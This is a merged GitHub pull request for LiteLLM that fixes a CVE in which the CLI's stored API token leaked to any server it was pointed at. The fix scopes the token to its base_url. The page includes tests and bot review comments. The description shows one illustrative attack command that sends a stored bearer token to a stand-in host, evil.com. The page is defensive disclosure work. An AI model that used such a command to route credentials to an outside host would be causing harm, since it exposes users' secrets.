Skip to content

fix: scope CLI stored token to base_url to prevent cross-domain credential leakage - #26945

Merged
ishaan-berri merged 8 commits into
litellm_internal_stagingfrom
litellm_fix-cli-cve-clean
May 1, 2026
Merged

fix: scope CLI stored token to base_url to prevent cross-domain credential leakage#26945
ishaan-berri merged 8 commits into
litellm_internal_stagingfrom
litellm_fix-cli-cve-clean

Conversation

@ishaan-berri

Copy link
Copy Markdown
Contributor

Relevant issues

Security CVE — cross-domain credential leakage in the LiteLLM CLI and SDK client.

Pre-Submission checklist

  • I have Added testing in the tests/test_litellm/ directory, Adding at least 1 test is a hard requirement - see details
  • My PR passes all unit tests on make test-unit
  • My PR's scope is as isolated as possible, it only solves 1 specific problem
  • I have requested a Greptile review by commenting @greptileai and received a Confidence Score of at least 4/5 before requesting a maintainer review

Type

🐛 Bug Fix (Security)

Changes

Problem: The CLI stored the API key globally in ~/.litellm/token.json without recording which server it was issued for. Any subsequent CLI invocation — even one pointed at a malicious server — would pick up the stored key and forward it via Authorization: Bearer to the attacker.

Fix: Three targeted changes, 5 files:

  1. cli_token_utils.pyget_litellm_gateway_api_key() now accepts expected_base_url. When provided, it only returns the stored key if it was issued for that URL (checked against the new base_url field in the token file).

  2. auth.pyget_stored_api_key() gains the same expected_base_url parameter and delegates down. The login command now persists base_url in token.json so future calls can verify origin.

  3. main.py — CLI entrypoint passes base_url when loading the stored key.

  4. client.pyProxyClient was also vulnerable (called unscoped get_litellm_gateway_api_key()). Now passes expected_base_url=self._base_url.

  5. test_auth_commands.py — 4 new test cases: URL match, trailing-slash normalisation, URL mismatch, old token without base_url field.

Before (attacker scenario):

# Dev previously logged in to their real proxy
$ litellm-proxy login  # stores sk-prod in ~/.litellm/token.json

# Attacker tricks dev into querying a malicious server
$ litellm-proxy --base-url http://evil.com models list
# → Authorization: Bearer sk-prod sent to evil.com

After: the stored key is only returned when base_url matches the stored origin. Request to evil.com gets no key.

@ishaan-berri

Copy link
Copy Markdown
Contributor Author

@greptileai

@CLAassistant

Copy link
Copy Markdown

CLA assistant check
Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
You have signed the CLA already but the status is still pending? Let us recheck it.

@greptile-apps

greptile-apps Bot commented May 1, 2026

Copy link
Copy Markdown
Contributor

Greptile Summary

This PR fixes a credential-leakage CVE by binding stored CLI tokens to the server URL they were issued for. The three-layer fix (token file, CLI entrypoint, SDK Client) is coherent and well-tested. A secondary bug in client.pyself.http being initialized with the raw None api_key parameter instead of the resolved self._api_key — is also corrected here.

Confidence Score: 4/5

Safe to merge; known edge cases (stored_url not normalized on read, case-sensitive host comparison) are flagged in prior review threads but do not break the core security invariant for the common case

Score capped at 4 due to open P1s already noted in previous review threads (stored_url read without rstrip, RFC 3986 case-insensitive host comparison). No new P0/P1 issues found in this pass. The self.http P1 from the prior outside-diff comment is now resolved.

litellm/litellm_core_utils/cli_token_utils.py — the URL comparison logic has the already-flagged normalization gaps

Important Files Changed

Filename Overview
litellm/litellm_core_utils/cli_token_utils.py Adds optional expected_base_url parameter to gate key retrieval on origin match; stored_url is compared without normalization (trailing-slash and case issues noted in prior thread)
litellm/proxy/client/cli/commands/auth.py Login now persists base_url in token.json; get_stored_api_key delegates the new expected_base_url parameter correctly
litellm/proxy/client/cli/main.py CLI entrypoint now passes base_url when loading stored key, preventing cross-domain credential use
litellm/proxy/client/client.py Two bugs fixed: priority flipped so explicit api_key takes precedence over stored key, and self.http is now initialized with the resolved self._api_key instead of the raw None parameter
tests/test_litellm/proxy/client/cli/test_auth_commands.py Four new mock-only test cases cover URL match, trailing-slash normalisation, URL mismatch, and legacy tokens; existing tests unchanged

Reviews (2): Last reviewed commit: "fix: initialize self.http with resolved ..." | Re-trigger Greptile

Comment on lines +66 to +69
if expected_base_url is not None:
stored_url = token_data.get("base_url")
if stored_url != expected_base_url.rstrip("/"):
return None

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 stored_url is not normalized before comparison

expected_base_url is rstripped but stored_url is taken verbatim from the file. New tokens are saved with rstrip("/") in auth.py, but if a token was written by any other code path (or manually edited) with a trailing slash, the comparison will silently reject a legitimate match. Normalizing both sides is safer:

        if stored_url is None or stored_url.rstrip("/") != expected_base_url.rstrip("/"):
            return None

Comment on lines +66 to +69
if expected_base_url is not None:
stored_url = token_data.get("base_url")
if stored_url != expected_base_url.rstrip("/"):
return None

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 URL comparison is case-sensitive; RFC 3986 requires case-insensitive host/scheme matching

The comparison is a raw string equality check. A stored URL with a different-cased host (e.g. https://Proxy.internal.com vs https://proxy.internal.com) will fail to match even though they refer to the same server. Lowercasing before comparison prevents this false negative.

Comment on lines 79 to +80
if api_key is None:
api_key = get_stored_api_key()
api_key = get_stored_api_key(expected_base_url=base_url)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Silent token rejection gives users no hint to re-login

When the stored token has no base_url (old format) or the URL doesn't match, get_stored_api_key returns None and the CLI proceeds unauthenticated. Users will see generic authorization errors from the server with no indication they need to run litellm-proxy login again. Emitting a warning when a stored token exists but was rejected would significantly improve the UX for users migrating from older token formats.

Bojun-Vvibe added a commit to Bojun-Vvibe/oss-contributions that referenced this pull request May 1, 2026
Two security-shaped PRs in litellm:
- BerriAI/litellm#26945: merge-as-is, scope stored CLI key to base_url
  via expected_base_url kwarg in get_litellm_gateway_api_key, with
  symmetric rstrip normalization at write+read and fail-closed for
  legacy tokens missing base_url; 4-test contract pin
- BerriAI/litellm#26924: merge-as-is, total deletion of urlToken handler
  at LoginPage.tsx:69-80 closing session-fixation; 2 regression tests
  pin anti-behavior including silent-overwrite arm
@ishaan-berri

Copy link
Copy Markdown
Contributor Author

@greptileai

@ishaan-berri
ishaan-berri merged commit 231c430 into litellm_internal_staging May 1, 2026
113 of 114 checks passed
@ishaan-berri
ishaan-berri deleted the litellm_fix-cli-cve-clean branch May 1, 2026 19:11
yugborana pushed a commit to yugborana/litellm that referenced this pull request Jun 2, 2026
…ntial leakage (BerriAI#26945)

* fix: add expected_base_url origin check to get_litellm_gateway_api_key

* fix: scope get_stored_api_key and save base_url on login

* fix: pass base_url to get_stored_api_key in CLI entrypoint

* fix: scope ProxyClient stored key to base_url

* test: add expected_base_url coverage for get_stored_api_key

* fix: initialize self.http with resolved api_key not raw param

* fix: black formatting in client.py and test_auth_commands.py
fzowl pushed a commit to fzowl/litellm that referenced this pull request Jun 24, 2026
…ntial leakage (BerriAI#26945)

* fix: add expected_base_url origin check to get_litellm_gateway_api_key

* fix: scope get_stored_api_key and save base_url on login

* fix: pass base_url to get_stored_api_key in CLI entrypoint

* fix: scope ProxyClient stored key to base_url

* test: add expected_base_url coverage for get_stored_api_key

* fix: initialize self.http with resolved api_key not raw param

* fix: black formatting in client.py and test_auth_commands.py
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants